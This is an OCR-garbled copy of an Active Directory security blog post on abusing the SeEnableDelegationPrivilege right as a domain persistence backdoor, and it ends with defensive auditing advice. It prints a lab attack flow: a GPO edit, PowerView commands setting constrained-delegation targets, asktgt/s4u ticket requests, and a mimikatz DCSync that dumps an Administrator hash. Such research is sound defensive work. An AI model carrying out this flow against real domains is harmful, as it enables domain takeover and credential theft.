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I find Windows user rights pretty interesting. Separate from machine/domain object DACLs, user rights govern
things like “by what method can specific users log into a particular system” and are managed under User Rights
Assignment in Group Policy. Sidenote: I recently integrated privilege enumeration into PowerUp in the Get-

ProcessTokenPrivilege function, with -Special returning ‘privileged’ privileges.

SeEnableDelegationPrivilege

One user right I overlooked, until Ben Campbell’s post on constrained delegation, was
SeEnableDelegationPrivilege. This right governs whether a user account can “Enable computer and user accounts

to be trusted for delegation.” Part of the reason I overlooked it is stated right in the documentation: “There is no

reason to assign this user right to anyone on member servers and workstations that belong to a domain because it
has no meaning in those contexts; it is only relevant on domain controllers and stand-alone computers.” So this

right applies to the domain, not the local domain-joined machine.

Ben explained how SeEnableDelegationPrivilege factors into constrained delegation. This was a missing piece of
the whole puzzle for me. We both first thought that this right only governed the modification of the
TRUSTED_FOR_DELEGATION and TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION flags- this
would have opened up a nifty attack that Ben outlined. Unfortunately for us attackers, it appears that this right also

controls the modification of the msDS-AllowedToDelegateTo property, which contains the targets for constrained

delegation. If this is unclear, check out the post from last week for more background on constrained delegation.

TL;DR we can’t modify delegation specific user account control settings NOR the msDS-AllowedToDelegateTo
field for targets (even if we have full control of the object) if we don’t have the SeEnableDelegationPrivilege

right:
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xyiluser?> whoami

veviluser?> "'te eviluser"” | ConvertTo-SID
“,U171859 3433889279-3366196753-1178

“weviluser?> Get—-DomainObjectAcl —Identity victim {5 _. :urityldentifier —match
B171859-343380892 66196753-1178">
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CH=victim,.CN=U

1-898171859-343 9279-3366196753-1178
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viluser?> Set—DomainObject —Identity wictim —Set B{"m
tlab.local'> ;
[Get—DomainSearch
PRIMARY .testlab. laLa1/DE te'tlah Db lucal
[Get—=D |u1nuh101tl Get—Dom h]r(t fFilter string:
o >t im) Cname 232
iz [Bet-— DDmﬂlnﬂh]PFtl Setting ’'msds-allowedtodelegateto’ to
cLE s/PRIMARY . testlab. local’ for thect fuictim®
WARNING: [Set-DomainObject] Error settingrreplacing properties for
'victim® : Excepti calling “"CommitChanges™ with 8" argument(
denied.

Now the question is: how can we determine which users have this right in the domain? Since
SeEnableDelegationPrivilege is applicable only on a domain controller itself, we need to check if any group
policy object applied to a domain controller modifies the user right assignments for that given DC. In most cases,
this will be the “Default Domain Controllers Policy” (GUID = {6 AC1786C-016F-11D2-945F-00C04FB984F9}).

This is exactly what the Get-DomainPolicy -Source DC PowerView function will do:

Page 2 of 7


https://github.com/PowerShellMafia/PowerSploit/blob/94438eda67711e2803b40a093bd4b38568c134ec/Recon/PowerView.ps1#L11841-L12014

https://blog.harmjOy.net /activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/

SPolicy Get—DomainPolicy -Source DC
SPolicy
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lege, SeLoadDriverPrivilege, SeShutdownPrivileg...
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Value
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eQuotaPri

-1-5-32-549%...%
PagefilePrivilege
teShutdownPrivilege
nvironmentPrivilege

iorityPrivi...

149 ~ I
{IIPI‘IIHd.I‘hIU]"I‘IIPI‘I.'U ilege {#5-1-5-19, =§

ersseviluser? $Policyl’Privilege Rights' 1[*'SeEnahleDelegationPrivilege’ ]
2-544
ercheuilucerd "S5-1-5-32-544' | ConvertFrom—SID

So by default only members of BUILTIN\Administrators (i.e. Domain Admins/Enterprise Admins/etc.) have the
right to modify these delegation settings. But what happens if we can edit this GPO, or any other GPO applied to

the domain controller?

Why Care

There are a million ways to backdoor Active Directory given sufficient rights (make that a million and one : ).

Sean Metcalf calls these “Sneaky Active Directory Persistence Tricks®. Some of these involve ACL backdoors,

something I’ve covered some in the past. Other approaches might require maliciously editing GPOs. Still others

could involve editing user objects. The SeEnableDelegationPrivilege approach is a bit of everything above.

TL;DR: if we control an object that has SeEnableDelegationPrivilege in the domain, AND said object has
GenericAll/GenericWrite rights over any other user object in the domain, we can compromise the domain at will,

indefinitely.

Given elevated domain rights OR edit rights to the default domain controller GPO (something @_waldO0,
@cptjesus, and I are currently working on for BloodHound) for just a few minutes, you can make a single
modification to the given GPO to implement this backdoor. This GPO is located at
\\DOMAIN\sysvol\testlab.local\Policies\{6AC1786C-016F-11D2-945F-
00C04fB984F9)\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf. By adding any user SID or
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username to the SeEnableDelegationPrivilege line of the [Privilege Rights] section, the setting will take hold

whenever the user/machine’s current DC reboots or refreshes its group policy:

K« TESTLAB » sywol » testlablocal ¢ Policies b [GACI786C-016F-1102-945F-00CO4fB9B4F3) » MACHINE » Microsoft » Windows NT » SecEdit w [ &y || Search Sectait
New falder

- Mame ) Date modified Type Size

top @ | GptTmpl 1/4/2017 %18 PM  Setup Information 4KB

Aloads
nt Places '!.I-'_ m
File Edit Format View Help

[version] -
signature="§CHICAGDS"
iments Revision=1
[Event audit] T
< AuditDSaccess = 1
res [Registry values]
MACHIME"System'\CurrentControlSet) Services'LanManServer' Parameters’\EnableSecuritysi ?na.ture-l o1
] MACHINE'Systes'\CurrentControlset) services'LamManserver Parameters\Requiresecuritysignature=4,1
MACHINE'System'\CurrentControlset' Services'Netlogon'Parameters'\Requiresignorseal=4,1
MACHINE'\System\CurrentControl Set’ Services \NTDS\ Par ameter s \LDAPSer ver Integrity=4,1
Jter [Privilege Rights
SeassignPrimaryTo il'll‘l"il-l'iltgi = *5-1-5-19,%5-1-5-20
seauditPrivilege = *s-1-5-19,%5-1-5-20
& SeBackupPrivilege = *5-1-5-32-544 ,%5-1-5-32-551,%5-1-5-32-549
segatchLogonRight = *5-1-5-32-544,%5-1-5-32-551,%5-1-5-32-559
sechangeuaﬁfrﬂ-file e = *§-1-1-0,%S-1-5-19,%5-1-5-20,*5-1-5-32-544 ,%5-1-5-90-0,%5-1-5-11,%5-1-5-32-554
secreateragefileprivilege = #5-1-5-32-544
SeDebugPrivilege = *5-1-5-32-544
seIncreasesaserriorityPrivilege = #5-1-5-32-544
seIncreasequotaPrivilege = *5-1-5-19,%5-1-5-20,%5-1-5-32-544
SeInteractiveLogonRight = *5-1-5-32-544,%6-1-5-32-551,%5-1-5-32-548,%#5-1-5-32-549,%5-1-5-32-550,%5-1-5-9
SeLoadDriverPrivilege = *5-1-5-32-544 ,*5-1-5-32-350
seMachineaccountPrivilege = =5-1-5-11
seNetworkLogon®ight = *5-1-1-0,%5-1-5-32-544 ,%5-1-5-11,%5-1-5-9,%5-1-5-32-554
saﬂroﬂ‘ltﬂnglevroccss?rivﬂagc = *5-1-5-32-544
SeRemoteshut Privilege = *5-1-5-32-544 ,%5-1-5-32-549
SeRestorePrivilege = *5-1-5-32-544,%5-1-5-32-551,%5-1~5-32-549
sesecuritypPrivilege = *s-1-5-32-544
SeShutdownPrivilege = *5-1-5-32-544,%5-1-5-32-551,%5-1-5-32-549,%5-1-5-32-550
sesystesEnyvironmentPrivilege = *5-1-5-32-544
sesystemProfilePrivilege = *5-1-5-32-544 ,%5-1-5-80-3139157870-2983391045-3678747466-658725712-1809340420
sesystemTimePrivilege = *5-1-5-19,%5-1-5-32-544 ,%5-1-5-32-549
SeTakeownershipPrivilege = *5-1-5-32-544
Seundockprivilege = *5-1-5-32-544
SeenablepelegationPrivilege = EERAITEEN, *5-1-5-32-544 L8

4 [

If eviluser has full rights over ANY user in the domain, we can modify that user’s msDS-AllowedToDelegateTo

value to be whatever target service we want to compromise. We can also modify the
TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION UAC flag if needed. In this case, let’s use
1dap/DOMAIN_CONTROLLER to facilitate DCSyncing at will:
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ivilege Right ' nableDe legationPrivilege” ]

thAcl dentity vietim | 7{5_.Securityldentif
3-1178"2

ocal
196753-1179

toryRights : GenericAll

llowed

3433889279 196753-1178

=tim —Set B{" allowedtode legateta'=""1dap
C=testlab.DC=local

im)C(name=victim)»>>>
] Setting 'm allowedtode 1 - to " ld ‘PRIMARY .testlab. local”

DomainlUser wvictim i lect xpand mesds—allowedtode legateto
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sslzerssevilusersDesktoprasktgt .exe ~user:ivictim sdomain:testlab.local ~key:2h57bachebhcfda?Z2?
4d6hdi8041h8fe

i AskIGT Kerberos client 1.8 {(x86> bhuilt on Dec 8 20816 BA:31:13
i~ #i. A La Uie,. A L' Amour"
12 PR ¢ N
i3 SN ¢ Benjamin DELPY ‘gentilkiwi® ¢ benjaminPgentilkiwi.com »
THE v #HW http://hlog.gentilkiwi.com Coe.eod
! * M xS

> Current time : 162017 11:45:13 AM
D victim
: testlab.local (TESTLAB)>
: <HULLZ
ey : 2bh5Y6achebbecfda?294dehdi8@41bh8fe (rcd_hmac_nt)
[EDC] 'PRIMARY.testlab.local’ will be the main server
»* Ticket in file 'tgt.kirhi’

sUserssevilusersDesktoprsdu.exe stgtitgt.kirbi suser:Administratorftestlab.local sservice:ldal
PRIMARY .testlab.local

. S4U Kerberos client 1.8 (xB6> bhuilt on Dec 8 2016 BB:31:13
Bt #. A La Uie,. A L’ Amour"
B o~ i s o o=
i3 SN § Benjamin DELPY ‘gentilkiwi® ¢ benjamin@gentilkiwi.com >
http://blog.gentilkiwi.com {oe.eo’
Y

filename : tgt.kirbi
Service : krbtgt ~ testlab.local @ TESTLAB.LOCAL
Principal : wvictim @ TESTLAB.LOCAL
Principal : Administrator @ testlab.local
4U2Proxy ! Service : ldap ~ PRIMARY.testlab.local
# Ticket in file ' ldap.-PRIMARY.testlab.local.kirhbi’

sslUszerstevilusersDesktopPmimikatz .exe

. mimikatz 2.1 (x64> built on Mov 26 2816 B2:28:33
Bt ##. A La Uie,. A L’ Amour"
B o~ i s o o=
i3 SN § Benjamin DELPY ‘gentilkiwi® ¢ henjamin@gentilkiwi.com >
THE o #Hi http://blog.gentilkiwi.com/mimikatz {oe.eo’
* with 280 modules = = -

imikatz # kerheros::ptt ldap.PRIMARY.testlab.local.kirhi

File: ’ldap.PRIMARY.testlab.local.kirbi’: 0K

imikatz # lsadump::dcsync sdomain:testlab.local Auser:TESTLAB-“Administrator
[DC]1 "testlab.local’ will be the domain

[DC]1 "PRIMARY .testlab.local’ will he the DC server
[DC]1 "TESTLAB“Administrator’' will bhe the user account

Obhject RDN : Administrator
SAM ACCOUNT ==

ISAM Username inistrator
Account Type @@ < USER_OBJECT >
Bpa1

ser Account Control 288 ¢ NORMAL_ACCOUNT DONT_EXPIRE_PASSUWD >
Account expiration
Password last change 11122816 ?:28:15 PH

Object Security ID 8-1-5-21-898171859-34338A9277-3366176753-56A
Object Relative ID 15 15)

redentials:
Hash HTLM: atB4baed91fealb34cdB2eB83aV9777F7

If eviluser has GenericAll over any target victim, then we don’t even have to know the victim user’s password.
We can execute a force password reset using Set-DomainUserPassword to a known value and then execute the

asktgt.exe/s4u.exe attack flow.

Obviously, from the defensive side, take note of what users have the SeEnableDelegationPrivilege privilege on
your domain controllers, through PowerView or other means. This right effectively gives those users complete
control of the domain, making a great ‘subtle’, but easy to detect (if you know what you’re looking for) AD
backdoor. There are obviously ways you could subvert this given SYSTEM access on a domain controller, and I
will detail methods to detect specific DACL modification in the coming weeks, but auditing these applied GPOs is

a great start.
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